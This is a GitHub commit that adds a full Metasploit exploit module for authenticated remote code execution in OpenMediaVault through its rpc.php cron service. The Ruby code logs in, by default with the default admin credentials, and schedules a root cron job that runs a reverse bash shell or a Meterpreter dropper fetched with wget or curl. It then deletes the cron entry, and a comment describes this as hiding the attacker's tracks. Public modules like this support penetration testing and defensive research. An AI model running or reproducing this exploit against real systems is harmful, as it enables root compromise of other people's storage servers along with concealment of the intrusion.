Skip to content

Commit 562e93f

Browse files
committed
First release module
1 parent 27a63aa commit 562e93f

File tree

1 file changed

+323
-0
lines changed

1 file changed

+323
-0
lines changed
Lines changed: 323 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,323 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
prepend Msf::Exploit::Remote::AutoCheck
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
17+
'Description' => %q{
18+
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
19+
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
20+
a cron entry that runs arbitrary commands as root on the system.
21+
All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
26+
'Brandon Perry <bperry.volatile[at]gmail.com>', # Original Discovery
27+
'Mert BENADAM' # exploit author
28+
],
29+
'References' => [
30+
['CVE', '2013-3632'],
31+
['PACKETSTORM', '178526'],
32+
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
33+
],
34+
'DisclosureDate' => '2024-05-08',
35+
'Platform' => ['unix', 'linux'],
36+
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
37+
'Privileged' => true,
38+
'Targets' => [
39+
[
40+
'Unix Command',
41+
{
42+
'Platform' => ['unix', 'linux'],
43+
'Arch' => ARCH_CMD,
44+
'Type' => :unix_cmd,
45+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
46+
}
47+
],
48+
[
49+
'Linux Dropper',
50+
{
51+
'Platform' => ['linux'],
52+
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
53+
'Type' => :linux_dropper,
54+
'CmdStagerFlavor' => ['wget', 'curl'],
55+
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
56+
}
57+
]
58+
],
59+
'DefaultTarget' => 0,
60+
'DefaultOptions' => {
61+
'SSL' => false,
62+
'RPORT' => 80,
63+
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
64+
},
65+
'Notes' => {
66+
'Stability' => [CRASH_SAFE],
67+
'Reliability' => [REPEATABLE_SESSION],
68+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
69+
}
70+
)
71+
)
72+
register_options(
73+
[
74+
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
75+
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
76+
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
77+
]
78+
)
79+
end
80+
81+
def user
82+
datastore['USERNAME']
83+
end
84+
85+
def pass
86+
datastore['PASSWORD']
87+
end
88+
89+
def login(user, pass, _opts = {})
90+
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
91+
res = send_request_cgi({
92+
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
93+
'method' => 'POST',
94+
'keep_cookies' => true,
95+
'ctype' => 'application/json',
96+
'data' => {
97+
service: 'Session',
98+
method: 'login',
99+
params: {
100+
username: user.to_s,
101+
password: pass.to_s
102+
},
103+
options: nil
104+
}.to_json
105+
})
106+
return true if res && res.code == 200 && res.body.include?('"authenticated":true')
107+
108+
false
109+
end
110+
111+
def check_version
112+
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
113+
res = send_request_cgi({
114+
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
115+
'method' => 'POST',
116+
'keep_cookies' => true,
117+
'ctype' => 'application/json',
118+
'data' => {
119+
service: 'System',
120+
method: 'getInformation',
121+
params: nil,
122+
options: {
123+
updatelastaccess: false
124+
}
125+
}.to_json
126+
})
127+
return nil unless res && res.code == 200 && res.body.include?('"error":null')
128+
129+
# parse json response and get the version
130+
res_json = res.get_json_document
131+
unless res_json.blank?
132+
# OpenMediaVault v4 has a different json format where index 1 has the version information
133+
version = res_json.dig('response', 1, 'value')
134+
version = res_json.dig('response', 'version') if version.nil?
135+
return version.split('(')[0].gsub(/[[:space:]]/, '') unless version.nil?
136+
end
137+
nil
138+
end
139+
140+
def apply_config_changes
141+
# Apply OpenMediaVault configuration changes
142+
return send_request_cgi({
143+
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
144+
'method' => 'POST',
145+
'ctype' => 'application/json',
146+
'keep_cookies' => true,
147+
'data' => {
148+
service: 'Config',
149+
method: 'applyChangesBg',
150+
params: {
151+
modules: [],
152+
force: false
153+
},
154+
options: nil
155+
}.to_json
156+
})
157+
end
158+
159+
def execute_command(cmd, _opts = {})
160+
post_data = {}.to_json
161+
# depending on the version, adapt the POST request to add a cron payload at the scheduler
162+
if Rex::Version.new(@version_number) >= Rex::Version.new('6.0.15-1')
163+
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
164+
post_data = {
165+
service: 'Cron',
166+
method: 'set',
167+
params: {
168+
uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4',
169+
enable: true,
170+
execution: 'exactly',
171+
minute: ['*'],
172+
everynminute: false,
173+
hour: ['*'],
174+
everynhour: false,
175+
dayofmonth: ['*'],
176+
everyndayofmonth: false,
177+
month: ['*'],
178+
dayofweek: ['*'],
179+
username: 'root',
180+
command: cmd.to_s, # payload
181+
sendemail: false,
182+
comment: '',
183+
type: 'userdefined'
184+
},
185+
options: nil
186+
}.to_json
187+
elsif Rex::Version.new(@version_number) <= Rex::Version.new('6.0.14-1') && Rex::Version.new(@version_number) >= Rex::Version.new('3.0.16')
188+
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
189+
post_data = {
190+
service: 'Cron',
191+
method: 'set',
192+
params: {
193+
uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4',
194+
enable: true,
195+
execution: 'exactly',
196+
minute: '*',
197+
everynminute: false,
198+
hour: '*',
199+
everynhour: false,
200+
dayofmonth: '*',
201+
everyndayofmonth: false,
202+
month: '*',
203+
dayofweek: '*',
204+
username: 'root',
205+
command: cmd.to_s, # payload
206+
sendemail: false,
207+
comment: '',
208+
type: 'userdefined'
209+
},
210+
options: nil
211+
}.to_json
212+
elsif Rex::Version.new(@version_number) <= Rex::Version.new('3.0.15') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0')
213+
# OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
214+
post_data = {
215+
service: 'Cron',
216+
method: 'set',
217+
params: {
218+
uuid: 'undefined',
219+
enable: true,
220+
execution: 'exactly',
221+
minute: '*',
222+
everynminute: false,
223+
hour: '*',
224+
everynhour: false,
225+
dayofmonth: '*',
226+
everyndayofmonth: false,
227+
month: '*',
228+
dayofweek: '*',
229+
username: 'root',
230+
command: cmd.to_s, # payload
231+
sendemail: false,
232+
comment: '',
233+
type: 'userdefined'
234+
},
235+
options: nil
236+
}.to_json
237+
end
238+
239+
res = send_request_cgi({
240+
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
241+
'method' => 'POST',
242+
'ctype' => 'application/json',
243+
'keep_cookies' => true,
244+
'data' => post_data
245+
})
246+
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
247+
248+
# parse json response and get the uuid of the cron entry
249+
# we need this later to clean up and hide our tracks
250+
@cron_uuid = ''
251+
res_json = res.get_json_document
252+
@cron_uuid = res_json['response']['uuid'] unless res_json.blank?
253+
254+
# Apply and update cron configuration to trigger payload execution (1 minute)
255+
res = apply_config_changes
256+
fail_with(Failure::Unknown, 'Cannot apply cron changes to trigger payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
257+
print_good('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
258+
end
259+
260+
def on_new_session(session)
261+
# try to cleanup cron entry in OpenMediaVault
262+
res = send_request_cgi({
263+
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
264+
'method' => 'POST',
265+
'ctype' => 'application/json',
266+
'keep_cookies' => true,
267+
'data' => {
268+
service: 'Cron',
269+
method: 'delete',
270+
params: {
271+
uuid: @cron_uuid.to_s
272+
},
273+
options: nil
274+
}.to_json
275+
})
276+
if res && res.code == 200 && res.body.include?('"error":null')
277+
# Apply changes and update cron configuration to remove the payload entry
278+
res = apply_config_changes
279+
if res && res.code == 200 && res.body.include?('"error":null')
280+
print_good('Cron payload entry successfully removed.')
281+
else
282+
print_status('Cannot apply the cron changes to remove the payload entry.')
283+
end
284+
else
285+
print_status('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
286+
end
287+
super
288+
end
289+
290+
def check
291+
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless login(user, pass)
292+
293+
@version_number = check_version
294+
unless @version_number.nil?
295+
if Rex::Version.new(@version_number) <= Rex::Version.new('7.3.1-1') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0')
296+
return CheckCode::Vulnerable("Version #{@version_number}")
297+
else
298+
return CheckCode::Safe("Version #{@version_number}")
299+
end
300+
end
301+
CheckCode::Safe('Could not retrieve the version information.')
302+
end
303+
304+
def exploit
305+
unless datastore['AutoCheck']
306+
if login(user, pass)
307+
@version_number = check_version
308+
fail_with(Failure::Unknown, 'Could not retrieve the version information.') if @version_number.nil?
309+
print_status("Version #{@version_number} detected.")
310+
else
311+
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
312+
end
313+
end
314+
315+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
316+
case target['Type']
317+
when :unix_cmd
318+
execute_command(payload.encoded)
319+
when :linux_dropper
320+
execute_cmdstager
321+
end
322+
end
323+
end

0 commit comments

Comments
 (0)